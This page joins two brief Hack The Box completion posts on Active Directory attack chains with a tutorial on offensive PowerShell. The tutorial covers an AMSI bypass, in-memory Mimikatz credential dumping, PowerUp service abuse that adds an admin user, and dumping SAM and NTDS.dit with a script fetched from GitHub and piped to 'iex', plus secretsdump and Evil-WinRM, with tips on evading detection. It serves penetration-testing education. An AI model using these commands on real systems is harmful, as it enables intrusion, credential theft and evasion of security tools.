Completed the Hack The Box “Pirate” machine, a hard-difficulty Active Directory challenge that required chaining multiple attack paths rather than relying on a single vulnerability.
The enumeration phase uncovered domain users, pre-created computer accounts, GMSAs, delegation relationships, and an exposed internal network. Access to gMSA_ADFS_prod$ led to DC01 and enabled an internal pivot to WEB01. From there, the attack chain involved GMSA credential retrieval, NTLM relay, authentication coercion, shadow credentials, certificate-based authentication, and Kerberos ticket abuse.
The privilege escalation path continued through constrained delegation and resource-based constrained delegation. Kerberos ticket manipulation ultimately provided Administrator access to the domain controller, followed by a SYSTEM-level shell and extraction of domain credentials from NTDS.dit. Both the user and root flags were successfully obtained.
Another challenging AD machine completed and another deep dive into Windows authentication, delegation, and privilege escalation.
For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.
Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.
AMSI Bypass
AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI or to alter it so it won’t match detection rules.
You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.
First we need to check if the Defender is running on our target:
As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:
PS > .\shantanukhande-amsi.ps1
If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it.
It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.
Dumping Credentials with Mimikatz
Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.
Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:
Now we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.
Privilege Escalation with PowerUp
Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.
Finding Vulnerable Services
Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.
Now let’s test the service names and see which one will get us local admin privileges:
PS > Invoke-ServiceAbuse -Name 'Service Name'
If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.
PS > net user john
Now we have an admin user on this machine, which can be used for various purposes.
Attacking NTDS and SAM
With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.
Attacking SAM on Domain Machines
To avoid issues, bypass the execution policy:
PS > powershell -ep bypass
Then we execute the script to dump SAM and SYSTEM hives:
PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1
PS > .\ntds.ps1
# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iex
Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.
Next we need to exfiltrate these files and extract the credentials:
kali > secretsdump.py -sam SAM -system SYSTEM LOCAL
Attacking NTDS on Domain Controllers
If you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.
We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.
Connect to the DC:
kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’
Now you can execute your scripts:
PS > ntds.ps1
Evil-WinRM has a download command to save them. Then run this command:
kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL
Summary
PowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization.
Completed another Hack The Box machine focused on Active Directory exploitation and privilege escalation.
The attack involved SMB enumeration, credential discovery through log analysis, Kerberos authentication, Shadow Credentials abuse, and DLL hijacking to gain user-level access. Further enumeration revealed a WSUS infrastructure weakness, allowing exploitation through Kerberos delegation abuse, certificate-based authentication, and a WSUS machine-in-the-middle attack to achieve Domain Admin privileges. This challenge strengthened my understanding of modern AD attack paths, Kerberos abuse techniques, and enterprise infrastructure security.
Login
